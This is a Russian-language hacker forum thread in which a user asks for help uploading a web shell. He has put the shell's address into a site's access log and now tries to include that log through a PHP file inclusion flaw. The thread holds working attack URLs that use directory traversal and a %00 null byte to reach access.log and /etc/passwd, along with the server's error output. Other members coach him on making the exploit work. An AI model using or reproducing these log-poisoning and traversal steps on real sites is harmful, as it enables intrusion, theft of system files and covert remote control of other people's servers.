Помогите залить шелл
 

зы не удаляете модеры плиз.

сделал запрос к сайту с адресом шелла.
адресс шела остался в логах. теперь надо как то инклюдить логи.

нужно найти лог как то.


я ввел:
http://www.site.ru/index.php?id=../../../../../www.site.ru/logs/access.log%00


вот что пишет:


Warning: main(texts/../../../../../www.site.ru/logs/access.log .php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6

Warning: main(texts/../../../../../www.site.ru/logs/access.log .php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6

Warning: main() [function.include]: Failed opening 'texts/../../../../../www.site.ru/logs/access.log .php' for inclusion (include_path='.:/usr/local/share/pear') in /home/httpd/virtual/www.site.ru/index.php on line 6

подскажите кто нибудь?

и че ты делаешь, ты подымаешься в корень / и пытаешься открыть там /www.site.ru/logs/access.log,
попробуй для начала хотя бы прочитать ../../../../../etc/passwd%00

AkyHa_MaTaTa:

Warning: main(texts/../../../../../etc/passwd .php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6

Warning: main(texts/../../../../../etc/passwd .php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6

Warning: main() [function.include]: Failed opening 'texts/../../../../../etc/passwd .php' for inclusion (include_path='.:/usr/local/share/pear') in /home/httpd/virtual/www.site.ru/index.php on line 6

No such file or directory
Переведи это...

и похоже %00 не работает, есть какой-то аналог?

пищу http://www.site.ru/index.php?id=../script.php%00 - скрипт не инклюдиться

пищу http://www.site.ru/index.php?id=../script - скрипт инклюдиться

блин чеж ты такой тугой =\ тебе же отписали, ты перевел? а теперь подумай что это заначит.

xcedz, бл* я знаю как переводиться. но это ту не причем!

вот пример! который показывает что %00 не работает!

index.php добавляет ".PHP" к запросу!

пищу http://www.site.ru/index.php?id=../script - скрипт инклюдиться
///ЗДЕСЬ он дабавляет и все работает

пищу http://www.site.ru/index.php?id=../script.php%00 - скрипт не инклюдиться
/// ЗДЕСЬ %00 должен обрубить правую часть но он не обрубает!!

и кто тугой бля*?? причем тут перевод???

passwd_.php null байт не канает, напряги мозги, и подумай, там ничего сложного нету

ты можешь прочитать хотябы элементарно etc/passwd ? что он тебе выведет? :D

AkyHa_MaTaTa ты написал null байт

вот без нул байта:

Warning: main(texts/../../../../../etc/passwd.php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6

Warning: main(texts/../../../../../etc/passwd.php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6

Warning: main() [function.include]: Failed opening 'texts/../../../../../etc/passwd.php' for inclusion (include_path='.:/usr/local/share/pear') in /home/httpd/virtual/www.site.ru/index.php on line 6